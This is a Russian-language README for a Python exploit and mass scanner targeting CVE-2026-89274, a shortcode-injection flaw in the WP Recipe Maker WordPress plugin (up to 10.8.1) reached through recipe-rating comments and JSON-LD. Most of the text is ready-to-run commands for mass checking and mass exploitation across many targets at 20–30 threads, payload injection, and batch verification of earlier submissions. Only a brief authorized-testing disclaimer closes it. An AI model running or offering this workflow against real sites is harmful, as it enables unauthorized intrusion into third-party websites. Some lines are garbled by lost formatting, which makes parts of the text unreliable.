
Python PoC-сканер и эксплойт для CVE-2026-89274 — уязвимости неаутентифицированного выполнения произвольных шорткодов в WP Recipe Maker <=10.8.1 через комментарии к рейтингу рецептов и JSON-LD.
Python 3 PoC-сканер/эксплойт для CVE-2026-89274 в WP Recipe Maker.
| Плагин | wp-recipe-maker |
| Уязвимые версии | ≤ 10.8.1 |
| Исправлено в | 10.8.2+ |
| CVSS | 9.1 (Критический) |
| Аутентификация | Не требуется (отправка комментария) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() вызывает do_shortcode() для полей метаданных до strip_shortcodes(). Одобренные комментарии с рейтингом рецепта (wprm-comment-rating) заполняют JSON-LD reviewBody; внедрённые шорткоды выполняются при загрузке страницы рецепта и могут привести к утечке вывода в структурированных данных.
Требование: вредоносный комментарий должен быть одобрен (автоодобрение или модератор). В режиме эксплойта можно использовать --verify для подтверждения появления маркера в JSON-LD reviewBody.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt (режим verify)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| Опция | Описание |
|---|---|
-u, --url | Базовый URL одной цели |
--list | Список URL, candidates.jsonl или submitted_mass.txt (verify) |
--mode | check, exploit или verify |
--recipe-url | URL записи со встроенным рецептом WPRM и комментариями |
--post-id | WordPress comment_post_ID |
--recipe-id | ID рецепта WPRM (опционально --use-api) |
--shortcode | Полезная нагрузка в тексте комментария (по умолчанию пробный шорткод) |
--marker | Verify: поиск подстроки-маркера в JSON-LD |
--verify | Exploit: подтверждение утечки в JSON-LD после отправки |
--use-api | Также попробовать REST-путь пользовательского рейтинга Premium |
--threads, -j | Массовая параллельность (по умолчанию 20) |
--output | Результаты в JSONL (по умолчанию cve_2026_89274_results.jsonl) |
--vuln-list | Текстовый вывод для попаданий/утечек (по умолчанию hits.txt) |
--candidates-list | Метаданные попаданий check (по умолчанию candidates.jsonl) |
--quiet | Меньше вывода о прогрессе при массовых запусках |
| Файл | Содержимое |
|---|---|
cve_2026_89274_results.jsonl | JSON по каждой цели |
hits.txt | Базовые URL кандидатов |
candidates.jsonl | page_url, post_id, recipe_id, version |
status (check)| Статус | Значение |
|---|---|
candidate | Уязвимая версия + страница рецепта с wprm-comment-rating |
plugin_no_recipe_comments | Плагин присутствует, подходящая страница рецепта/комментариев не найдена |
recipe_no_comment_rating | Страница рецепта без формы комментария с рейтингом |
patched | Версия ≥ 10.8.2 |
no_plugin | WP Recipe Maker не обнаружен |
[caption])./blog/, /recipes/) могут не показывать утечки в JSON-LD; эксплойт предпочитает постоянные ссылки на отдельные рецепты при обнаружении страниц.--verify подтверждает только отражение в JSON-LD, а не полный RCE..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Локальные списки сканирования и артефакты запусков (list.txt, *.jsonl, submitted_mass.txt, …) находятся в .gitignore и не должны коммититься.
Только для авторизованного тестирования безопасности. Вы несёте ответственность за соблюдение применимых законов и правил программ.